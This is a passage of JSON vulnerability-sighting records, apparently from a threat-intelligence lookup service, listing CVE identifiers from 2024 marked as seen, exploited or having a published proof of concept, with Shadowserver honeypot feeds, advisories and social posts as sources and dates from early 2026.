(honeypot/exploited-vulnerabilities) - (2026-01-17)", "content": "", "creation_timestamp": "2026-01-17T00:00:00.000000Z"}, {"uuid": "3b833956-a312-409d-a0a1-1dbe1199ef64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-18)", "content": "", "creation_timestamp": "2026-01-18T00:00:00.000000Z"}, {"uuid": "5e51a109-2f93-4efa-850a-99b0b05c969f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-18)", "content": "", "creation_timestamp": "2026-01-18T00:00:00.000000Z"}, {"uuid": "c25552c0-61cb-4655-ac21-ded9bce94f46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-18)", "content": "", "creation_timestamp": "2026-01-18T00:00:00.000000Z"}, {"uuid": "b9b0e942-60c2-4c0b-982f-a757a58b5c67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-19)", "content": "", "creation_timestamp": "2026-01-19T00:00:00.000000Z"}, {"uuid": "ace841ad-1456-4339-abf9-56fc2071727b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-19)", "content": "", "creation_timestamp": "2026-01-19T00:00:00.000000Z"}, {"uuid": "bee42698-20dc-4630-b9ed-ba0f45dbcdc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-19)", "content": "", "creation_timestamp": "2026-01-19T00:00:00.000000Z"}, {"uuid": "feadac21-4597-4cad-847b-025d181d5148", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-20)", "content": "", "creation_timestamp": "2026-01-20T00:00:00.000000Z"}, {"uuid": "052cf61a-ced4-4b56-94e0-e3072777dc36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-20)", "content": "", "creation_timestamp": "2026-01-20T00:00:00.000000Z"}, {"uuid": "e6623eaf-daf7-41fa-9761-fb5b99a22bb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-20)", "content": "", "creation_timestamp": "2026-01-20T00:00:00.000000Z"}, {"uuid": "78001c21-04f0-4c57-bd34-554ffd74e114", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-20)", "content": "", "creation_timestamp": "2026-01-20T00:00:00.000000Z"}, {"uuid": "1f068154-9783-459c-8583-5421fa330bfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-21)", "content": "", "creation_timestamp": "2026-01-21T00:00:00.000000Z"}, {"uuid": "ae491726-04f8-4078-9919-1eee3b27af57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-21)", "content": "", "creation_timestamp": "2026-01-21T00:00:00.000000Z"}, {"uuid": "6b355529-685d-43ce-8031-9b0a204eb2b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-22)", "content": "", "creation_timestamp": "2026-01-22T00:00:00.000000Z"}, {"uuid": "081cd508-1cc6-4f56-98fa-93050746838c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-22)", "content": "", "creation_timestamp": "2026-01-22T00:00:00.000000Z"}, {"uuid": "4ecdad0e-997e-4dba-bbdd-90410a7ffb57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-22)", "content": "", "creation_timestamp": "2026-01-22T00:00:00.000000Z"}, {"uuid": "1b92c4ba-3f28-4ce9-98c1-fa457d162cdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mdj6ccjy5o24", "content": "", "creation_timestamp": "2026-01-28T21:03:00.174485Z"}, {"uuid": "6f0a8f9c-4569-4f85-b9ef-6711e66d47f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-28)", "content": "", "creation_timestamp": "2026-01-28T00:00:00.000000Z"}, {"uuid": "1e5c93dd-d898-4598-a6c3-7a02d042f2d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-29)", "content": "", "creation_timestamp": "2026-01-29T00:00:00.000000Z"}, {"uuid": "ad2f9409-c8dd-45b2-9f05-5ed0e81913a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-28)", "content": "", "creation_timestamp": "2026-01-28T00:00:00.000000Z"}, {"uuid": "fe4a693f-7cdc-40c3-903a-0477f07e118b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-29)", "content": "", "creation_timestamp": "2026-01-29T00:00:00.000000Z"}, {"uuid": "06d56490-4ec3-4e7f-b501-67e76f4b1126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-29)", "content": "", "creation_timestamp": "2026-01-29T00:00:00.000000Z"}, {"uuid": "e8c90c98-e051-4cd8-8b70-a18c1e08831f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12905", "type": "published-proof-of-concept", "source": "https://www.exploit-db.com/exploits/52268", "content": "", "creation_timestamp": "2026-01-30T10:30:07.024024Z"}, {"uuid": "d5861af3-01da-4574-9be4-b56af41ee76b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-23)", "content": "", "creation_timestamp": "2026-01-23T00:00:00.000000Z"}, {"uuid": "094a7a00-4cb4-410f-a7a2-ec6c34936d1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-23)", "content": "", "creation_timestamp": "2026-01-23T00:00:00.000000Z"}, {"uuid": "2f78b9fd-8e94-4d42-b60f-7ca60b224baa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-23)", "content": "", "creation_timestamp": "2026-01-23T00:00:00.000000Z"}, {"uuid": "eda01484-bb45-43a5-add2-18b8b669b958", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/alon710/c4a18bfb1b633de803c3c0a7eb9a1a7e", "content": "", "creation_timestamp": "2026-01-24T22:44:25.000000Z"}, {"uuid": "fd2149f9-3bbf-49cf-8dac-92b5c3c99ad6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-24)", "content": "", "creation_timestamp": "2026-01-24T00:00:00.000000Z"}, {"uuid": "0be8e1c4-4054-4433-9491-5409f10ef478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-24)", "content": "", "creation_timestamp": "2026-01-24T00:00:00.000000Z"}, {"uuid": "2200118f-3aed-428d-9bd3-77369b553a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-24)", "content": "", "creation_timestamp": "2026-01-24T00:00:00.000000Z"}, {"uuid": "ceefcc31-dfbb-4ad0-b3ed-8c236c513767", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-25)", "content": "", "creation_timestamp": "2026-01-25T00:00:00.000000Z"}, {"uuid": "4a11573e-8069-4928-a705-f794ead87681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-25)", "content": "", "creation_timestamp": "2026-01-25T00:00:00.000000Z"}, {"uuid": "96bde496-4279-497f-87c0-13824578f456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-26)", "content": "", "creation_timestamp": "2026-01-26T00:00:00.000000Z"}, {"uuid": "514af6f9-200b-4295-be09-1d54dfddd4e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-26)", "content": "", "creation_timestamp": "2026-01-26T00:00:00.000000Z"}, {"uuid": "757930c1-e1df-410e-9c5b-6a283de56a42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-26)", "content": "", "creation_timestamp": "2026-01-26T00:00:00.000000Z"}, {"uuid": "104a21ae-876e-4bee-a063-ba55ec5a17e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-27)", "content": "", "creation_timestamp": "2026-01-27T00:00:00.000000Z"}, {"uuid": "3c8cf6da-a56d-4ea4-a72d-9390b33a68ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-27)", "content": "", "creation_timestamp": "2026-01-27T00:00:00.000000Z"}, {"uuid": "2383add2-7cbd-4435-8337-05a5abdf8085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-27)", "content": "", "creation_timestamp": "2026-01-27T00:00:00.000000Z"}, {"uuid": "4a505e03-f891-4ee6-8835-baba6239d00b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-31)", "content": "", "creation_timestamp": "2026-01-31T00:00:00.000000Z"}, {"uuid": "15e91313-53c9-4b5b-a1ec-fd419a54c3cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-31)", "content": "", "creation_timestamp": "2026-01-31T00:00:00.000000Z"}, {"uuid": "06e1d8e3-7e80-42e5-9335-6020b94a28f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-31)", "content": "", "creation_timestamp": "2026-01-31T00:00:00.000000Z"}, {"uuid": "f1e49803-cbab-46a8-933a-59ecb181e0ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-01)", "content": "", "creation_timestamp": "2026-02-01T00:00:00.000000Z"}, {"uuid": "30a629b3-650d-4349-b4c5-a90d478f3288", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-30)", "content": "", "creation_timestamp": "2026-01-30T00:00:00.000000Z"}, {"uuid": "2025d359-3528-44f4-8132-1576fa69cc3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-01)", "content": "", "creation_timestamp": "2026-02-01T00:00:00.000000Z"}, {"uuid": "7aecee57-3695-4519-bfb9-7963ddad2fe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-30)", "content": "", "creation_timestamp": "2026-01-30T00:00:00.000000Z"}, {"uuid": "c7673b49-f652-4457-8177-494423c8c1a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/control-systems-moxa-security-advisory-av26-085", "content": "", "creation_timestamp": "2026-02-04T15:40:27.000000Z"}, {"uuid": "1e8d2e6c-c379-43c2-ac62-f8f34dffd2f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/semo970921/b7900f5845408aca8633df26a5a0059b", "content": "", "creation_timestamp": "2026-02-06T06:51:25.000000Z"}, {"uuid": "cfe61d7a-0a0a-4586-8524-6f32afab1898", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/semo970921/b7900f5845408aca8633df26a5a0059b", "content": "", "creation_timestamp": "2026-02-06T06:51:25.000000Z"}, {"uuid": "392c5771-2cc8-4201-b194-ee33132f559a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-05)", "content": "", "creation_timestamp": "2026-02-05T00:00:00.000000Z"}, {"uuid": "be4ab3e9-ad3a-45ff-9ff7-d52ee5e6ff7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-05)", "content": "", "creation_timestamp": "2026-02-05T00:00:00.000000Z"}, {"uuid": "86ce6b32-c07c-4eb8-afd0-86f22c085189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-02)", "content": "", "creation_timestamp": "2026-02-02T00:00:00.000000Z"}, {"uuid": "92e9526c-9398-4ac5-9097-761c5b07b18a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-03)", "content": "", "creation_timestamp": "2026-02-03T00:00:00.000000Z"}, {"uuid": "c609b92a-959a-4860-8c4d-bcc081fb870a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-04)", "content": "", "creation_timestamp": "2026-02-04T00:00:00.000000Z"}, {"uuid": "a0ad34fd-5518-42df-8645-6fa987a78a74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-04)", "content": "", "creation_timestamp": "2026-02-04T00:00:00.000000Z"}, {"uuid": "f88e1a82-131e-4ac6-ab06-f84fe6677f1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-04)", "content": "", "creation_timestamp": "2026-02-04T00:00:00.000000Z"}, {"uuid": "36074f1c-ab73-4125-b2f5-d8dce10fb79e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-03)", "content": "", "creation_timestamp": "2026-02-03T00:00:00.000000Z"}, {"uuid": "27116d44-58e7-4d24-8da8-5e0ddc2685a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3me24qaafrw2h", "content": "", "creation_timestamp": "2026-02-04T14:50:13.582806Z"}, {"uuid": "8573a3b6-3690-440c-ad09-31f0f201adc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mggzy4feyt2d", "content": "", "creation_timestamp": "2026-03-07T04:55:57.851164Z"}, {"uuid": "a2fefa8d-9562-48a1-bca0-deebc6af98c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mgi4fbshkx2m", "content": "", "creation_timestamp": "2026-03-07T15:11:47.833425Z"}, {"uuid": "e0b05d18-59e6-4ac0-97f9-cb0f6e28e706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/gal-dahan-wiz/a770c7ef4af0cfe9030251cd58d6bb23", "content": "", "creation_timestamp": "2026-03-06T12:29:52.000000Z"}, {"uuid": "25407747-a01f-4ba2-b0ec-24353e581773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mhfjovwlsf2q", "content": "", "creation_timestamp": "2026-03-19T07:57:00.613569Z"}, {"uuid": "3c2a6b64-df1b-492d-91a1-cb6ea4c00106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-29)", "content": "", "creation_timestamp": "2026-03-29T00:00:00.000000Z"}, {"uuid": "e77c6400-6751-4da9-a027-f53433af5c4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "03f36181-b860-43a4-9236-e2895c85cf73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3f184bde-7860-499f-b179-471a2efc40de", "content": "", "creation_timestamp": "2026-02-02T12:26:16.834172Z"}, {"uuid": "7b54fb52-30ec-4fc8-ae22-40ec116dcbae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4307b145-b847-4e6e-95e2-73fbac1d3256", "content": "", "creation_timestamp": "2026-02-02T12:26:01.216196Z"}, {"uuid": "2c3e0dca-a5f1-456e-9b5d-267e1b281b20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/73b19dc5-0069-45a1-b2b3-ac14f1f04fe5", "content": "", "creation_timestamp": "2026-02-02T12:26:17.653144Z"}, {"uuid": "c3041b3e-953a-4370-9b10-c49052cb3e01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d08e2367-edbb-4c0b-bd7d-d3479a89ffad", "content": "", "creation_timestamp": "2026-02-02T12:26:21.855514Z"}, {"uuid": "75413901-cef4-4436-87fa-4b301efadb21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-30)", "content": "", "creation_timestamp": "2026-03-30T00:00:00.000000Z"}, {"uuid": "b2c48985-367b-4820-8126-161109d98dea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-30)", "content": "", "creation_timestamp": "2026-03-30T00:00:00.000000Z"}, {"uuid": "cab4682c-7edc-4f13-871c-2fe1b2614ce6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-31)", "content": "", "creation_timestamp": "2026-03-31T00:00:00.000000Z"}, {"uuid": "66ccd13d-135b-4ba0-a534-403337856a77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-31)", "content": "", "creation_timestamp": "2026-03-31T00:00:00.000000Z"}, {"uuid": "2617dc15-3c03-4503-a724-4a1984c1c0b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-01)", "content": "", "creation_timestamp": "2026-04-01T00:00:00.000000Z"}, {"uuid": "f985d3e8-cf5b-4dda-b8ea-a31c0f8fe035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-01)", "content": "", "creation_timestamp": "2026-04-01T00:00:00.000000Z"}, {"uuid": "93739d60-647d-4026-831c-f9ce50dbb5b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-02)", "content": "", "creation_timestamp": "2026-04-02T00:00:00.000000Z"}, {"uuid": "04a06db6-3c07-4238-a5e5-bdaa7173e0c2", 